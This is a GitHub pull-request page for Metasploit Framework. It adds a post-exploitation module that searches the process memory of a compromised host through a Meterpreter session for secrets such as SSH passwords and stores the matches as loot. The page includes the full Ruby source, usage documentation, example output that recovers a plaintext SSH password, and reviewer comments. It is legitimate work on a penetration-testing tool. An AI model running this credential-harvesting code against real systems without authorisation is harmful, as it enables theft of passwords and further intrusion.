Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add generic memory search post/multi module #18713

Merged
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
4 changes: 2 additions & 2 deletions Gemfile.lock
Expand Up @@ -33,7 +33,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.161)
metasploit-payloads (= 2.0.164)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.26)
mqtt
Expand Down Expand Up @@ -278,7 +278,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.161)
metasploit-payloads (2.0.164)
metasploit_data_models (6.0.3)
activerecord (~> 7.0)
activesupport (~> 7.0)
Expand Down
129 changes: 129 additions & 0 deletions documentation/modules/post/multi/gather/memory_search.md
@@ -0,0 +1,129 @@
## Vulnerable Application

This module allows for searching the memory space of running processes using Meterpreter's
`stdapi_sys_process_memory_search` command for potentially sensitive data such as passwords.

## Verification Steps

1. Start `msfconsole`
1. Get a Meterpreter session
1. Do: `use post/multi/gather/memory_search`
1. Do: `set SESSION <Session ID>`
1. Do: `set PROCESS_NAMES_GLOB <process_names_regex>`
1. Do: `set PROCESS_IDS <Process ID>`
1. Do: `set REGEX <regex>`
1. Do: `run`

## Options

### PROCESS_NAMES_GLOB

Regular expression used to target processes. (default: `ssh.*`)

### PROCESS_IDS

Comma delimited process ID/IDs to search through. (default: `nil`)

### REGEX

Regular expression to search for within memory. (default: `publickey,password.*`)

### MIN_MATCH_LEN

The minimum number of bytes to match. (default: `5`)

### MAX_MATCH_LEN

The maximum number of bytes to match. (default: `127`)

### REPLACE_NON_PRINTABLE_BYTES

Replace non-printable bytes with ".". (default: `true`)

### SAVE_LOOT

Save the memory matches to loot. (default: `true`)


## Scenarios

### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023

In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`:
```
msf6 post(multi/gather/memory_search) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)

msf6 post(multi/gather/memory_search) > run session=-1 regex="publickey,password.*" process_ids='' process_names_glob="ssh.*"

[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
ssh.exe (pid: 4292)

[*] Memory Matches for ssh.exe (pid: 4292)
======================================

Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x0000000A00060DF0 127 "publickey,password......3.......myverysecretpassword....................#.........#.......... 0x0000000A00000000 0x0000000000090000
...........S......................"

[*] Post module execution completed
```

### Windows 10 - Python3 HTTP Server

In this scenario, the Windows target is running the `http.server` module in Python:
```
msf6 post(multi/gather/memory_search) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)

msf6 post(multi/gather/memory_search) > run session=-1 regex="GET /.*" process_ids='' process_names_glob="python.*|[Ww]indows[Tt]erminal.*"

[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
WindowsTerminal.exe (pid: 9168)
python.exe (pid: 2816)

[*] Memory Matches for WindowsTerminal.exe (pid: 9168)
==================================================

Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x00000121C3458649 127 "GET /.portable HTTP/1.1\" 200 -...::ffff:192.168.112.1 - - [17/Jan/2024 14:36:38] \"GET /favi 0x00000121C3449000 0x000000000001B000
con.ico HTTP/1.1\" 404 -..windows-ter"

[*] Memory Matches for python.exe (pid: 2816)
=========================================

Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x0000013A0E3017D1 127 "GET /.portable HTTP/1.1\" 200 -.....:.....Q.:...................0.Q.:...0.Q.:.....Q.:.....Q.: 0x0000013A0E270000 0x00000000000FF000
...pAR.:...pAR.:...0.Q.:...0.Q.:..."
0x0000013A1063DC21 127 "GET /.portable HTTP/1.1\" 200 -...t-black.ico...`@l.:.....h.:..............&.............l.&. 0x0000013A105E0000 0x0000000000100000
....l.&.....l.&.....l.&......k.:..."
0x0000013A1063E5B1 127 "GET /.portable HTTP/1.1\" 200 -...b.l.e...o.....P.c.:...s.e.r.s.\\.w.i.n.1.0.\\.s.c.o.o.p.\\. 0x0000013A105E0000 0x0000000000100000
a.p.p.s.\\.w.i.n.d.o.w.s.-.t.e.r.m.i.n."
0x0000013A1067EC41 127 "GET /Images/ HTTP/1.1\" 200 -...@.g.:...p..&....2.................012345........<li><a href=\ 0x0000013A105E0000 0x0000000000100000
"defaults.json\">defaults.json</a></l"
0x0000013A106CADD0 127 "GET /.portable HTTP/1.1...p&.............x..:...P...:...0.l.:....ta$.e$j..k.:... lk.:........ 0x0000013A105E0000 0x0000000000100000
...0.l.:......................&..."
0x0000013A106CF940 127 "GET /.portable HTTP/1.1...........l.:...................Pf.&.....^.&......e.:................ 0x0000013A105E0000 0x0000000000100000
....Sn&....s.......P.l.:...p..&..."

[*] Post module execution completed
```
2 changes: 1 addition & 1 deletion metasploit-framework.gemspec
Expand Up @@ -72,7 +72,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.161'
spec.add_runtime_dependency 'metasploit-payloads', '2.0.164'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.26'
# Needed by msfgui and other rpc components
Expand Down
231 changes: 231 additions & 0 deletions modules/post/multi/gather/memory_search.rb
@@ -0,0 +1,231 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Memory Search',
'Description' => %q{
This module allows for searching the memory space of running processes for
potentially sensitive data such as passwords.
},
'License' => MSF_LICENSE,
'Author' => %w[sjanusz-r7],
'SessionTypes' => %w[meterpreter],
'Platform' => %w[linux unix osx windows],
'Arch' => [ARCH_X86, ARCH_X64],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_memory_search
stdapi_sys_process_get_processes
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)

register_options(
[
::Msf::OptString.new('PROCESS_NAMES_GLOB', [false, 'Glob used to target processes', 'ssh*']),
::Msf::OptString.new('PROCESS_IDS', [false, 'Comma delimited process ID/IDs to search through']),
sjanusz-r7 marked this conversation as resolved.
Show resolved Hide resolved
::Msf::OptString.new('REGEX', [true, 'Regular expression to search for within memory', 'publickey,password.*']),
::Msf::OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]),
::Msf::OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]),
::Msf::OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [false, 'Replace non-printable bytes with "."', true]),
::Msf::OptBool.new('SAVE_LOOT', [false, 'Save the memory matches to loot', true])
]
)
end

def process_names_glob
datastore['PROCESS_NAMES_GLOB']
end

def process_ids
datastore['PROCESS_IDS']
end

def regex
datastore['REGEX']
end

def min_match_len
datastore['MIN_MATCH_LEN']
end

def max_match_len
datastore['MAX_MATCH_LEN']
end

def replace_non_printable_bytes?
datastore['REPLACE_NON_PRINTABLE_BYTES']
end

def save_loot?
datastore['SAVE_LOOT']
end

def get_target_processes
raw_target_pids = process_ids || ''
sjanusz-r7 marked this conversation as resolved.
Show resolved Hide resolved
target_pids = raw_target_pids.split(',').map(&:to_i)
target_processes = []

session_processes = session.sys.process.get_processes
session_processes.each do |session_process|
pid, _ppid, name, _path, _session, _user, _arch = *session_process.values
if (::File.fnmatch(process_names_glob, name, ::File::FNM_EXTGLOB) unless process_names_glob.empty?) || (target_pids.include? pid)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a way to tidy this predicate up to be more human readable? I don't think I've ever seen an if and an unless combined together before 😄

target_processes.append session_process
end
end

target_processes
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we dump out the processes for the user to see what they could've matched against? 🤔

diff --git a/modules/post/multi/gather/memory_search.rb b/modules/post/multi/gather/memory_search.rb
index 7f3832fd32..ae39ebc1d9 100644
--- a/modules/post/multi/gather/memory_search.rb
+++ b/modules/post/multi/gather/memory_search.rb
@@ -82,13 +82,27 @@ class MetasploitModule < Msf::Post
     target_processes = []
 
     session_processes = session.sys.process.get_processes
-    session_processes.each do |session_process|
+    session_table = session_processes.to_table
+    session_table.columns.unshift "Matched?"
+    session_table.colprops.unshift(
+      {
+        'Formatters' => [],
+        'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new( 'true' => '%grn', 'false' => '%red' )],
+        'ColumnStylers' => []
+      }
+    )
+    session_table.sort_index += 1
+    session_processes.each.with_index do |session_process, index|
       pid, _ppid, name, _path, _session, _user, _arch = *session_process.values
       if (::File.fnmatch(process_names_glob, name, ::File::FNM_EXTGLOB) unless process_names_glob.empty?) || (target_pids.include? pid)
         target_processes.append session_process
+        session_table.rows[index].unshift "true"
+      else
+        session_table.rows[index].unshift "false"
       end
     end
 
+    vprint_status(session_table.to_s)
     target_processes
   end
 

end

def run_against_multiple_processes(processes: [])
results = []

processes.each do |process|
response = nil
status = nil

begin
response = memory_search(process['pid'], regex, min_match_len, max_match_len)
status = :success
rescue ::Rex::Post::Meterpreter::RequestError => e
response = e
status = :failure
end

results.append({ process: process, status: status, response: response })
end

results
end

def memory_search(pid, needle, min_search_len, match_len)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe have this upstream in a library?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Probably makes sense to move this into the Meterpreter API for sure; Not a blocker for me - but we should do it 👍

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For reference, we already have Post methods for Linux memory read and ASCII search (by regex):

def mem_search_ascii(min_search_len, max_search_len, needles, pid: 0)
proc_id = session.sys.process.open(pid, PROCESS_READ)
matches = proc_id.memory.search(needles, min_search_len, max_search_len)
end
def mem_read(base_address, length, pid: 0)
proc_id = session.sys.process.open(pid, PROCESS_READ)
data = proc_id.memory.read(base_address, length)
end

request = ::Rex::Post::Meterpreter::Packet.create_request(::Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH)
request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PID, pid)
request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_NEEDLE, needle)
request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN, match_len)
request.add_tlv(::Rex::Post::Meterpreter::TLV_TYPE_UINT, min_search_len)
client.send_request(request)
end

def print_result(result: nil)
return unless result

process_info = "#{result[:process]['name']} (pid: #{result[:process]['pid']})"
unless result[:status] == :success
print_warning "Memory search request for #{process_info} failed. Reason: #{result[:response]}"
return
end

result_group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
if result_group_tlvs.empty?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker; There's either a bug fix or UX improvements needed for trying to search 64 process memory from a 32 bit process

image

After migrating to 64 bit process it works fine

[*] Running against the following processes:
	notepad.exe (pid: 4748)

[*] Memory Matches for notepad.exe (pid: 4748)
==========================================

 Match Address       Match Length  Match Buffer                                                                                             Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                             -------------------  ------------------
 0x00007FFF200AADE9  127           "password.......Printing........Print background colors and images......Play system sounds......Play so  0x00007FFF1FFB8000   0x00000000001E7000
                                   unds in web pages........"
 0x00007FFF200AC47B  127           "password.....Automatic logon only in Intranet zone...Arial...........AppleWebKit/537.36 (KHTML, like G  0x00007FFF1FFB8000   0x00000000001E7000
                                   ecko) Chrome/51.0.2704.79"

[+] Loot stored to: /Users/adfoster/.msf4/loot/20240123124227_default_192.168.123.147_memory.dmp_479367.bin
[+] Loot stored to: /Users/adfoster/.msf4/loot/20240123124227_default_192.168.123.147_memory.dmp_173286.bin
[*] Post module execution completed

print_status "No regular expression matches were found in memory for #{process_info}"
return
end

results_table = ::Rex::Text::Table.new(
'Header' => "Memory Matches for #{process_info}",
'Indent' => 1,
'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size']
)

address_length = session.native_arch == ARCH_X64 ? 16 : 8
result_group_tlvs.each do |result_group_tlv|
match_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase
match_buffer = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value
# Mettle doesn't return this TLV. We can get the match length from the buffer instead.
match_length = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN)&.value
match_length ||= match_buffer.bytesize
region_start_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase
region_start_size = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase

if replace_non_printable_bytes?
match_buffer = match_buffer.bytes.map { |byte| /[[:print:]]/.match?(byte.chr) ? byte.chr : '.' }.join
end

results_table << [
"0x#{match_address.rjust(address_length, '0')}",
match_length,
match_buffer.inspect,
"0x#{region_start_address.rjust(address_length, '0')}",
"0x#{region_start_size.rjust(address_length, '0')}"
]
end

print_status results_table.to_s
end

def save_loot(results: [])
return if results.empty?

# Each result has a single response, which contains zero or more group tlv's.
results.each do |result|
# We don't want to save results that failed
next unless result[:status] == :success

group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
next if group_tlvs.empty?

group_tlvs.each do |group_tlv|
match = group_tlv.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
next unless match

stored_loot = store_loot(
'memory.dmp',
'bin',
session,
match,
"memory_search_#{result[:process]['name']}.bin",
'Process Raw Memory Buffer'
)
vprint_good("Loot stored to: #{stored_loot}")
end
end
end

def run
if session.type != 'meterpreter'
print_error 'Only Meterpreter sessions are supported by this post module'
return
end

if process_ids && !process_ids.match?(/^(\s*\d(\s*,\s*\d+\s*)*)*$/)
print_error 'PROCESS_IDS is not a comma-separated list of integers'
return
end

print_status "Running module against - #{session.info} (#{session.session_host}). This might take a few seconds..."

print_status 'Getting target processes...'
target_processes = get_target_processes
if target_processes.empty?
print_warning 'No target processes found.'
return
end

target_processes_message = "Running against the following processes:\n"
target_processes.each do |target_process|
target_processes_message << "\t#{target_process['name']} (pid: #{target_process['pid']})\n"
end

print_status target_processes_message
processes_results = run_against_multiple_processes(processes: target_processes)
processes_results.each { |process_result| print_result(result: process_result) }

save_loot(results: processes_results) if save_loot?
end
end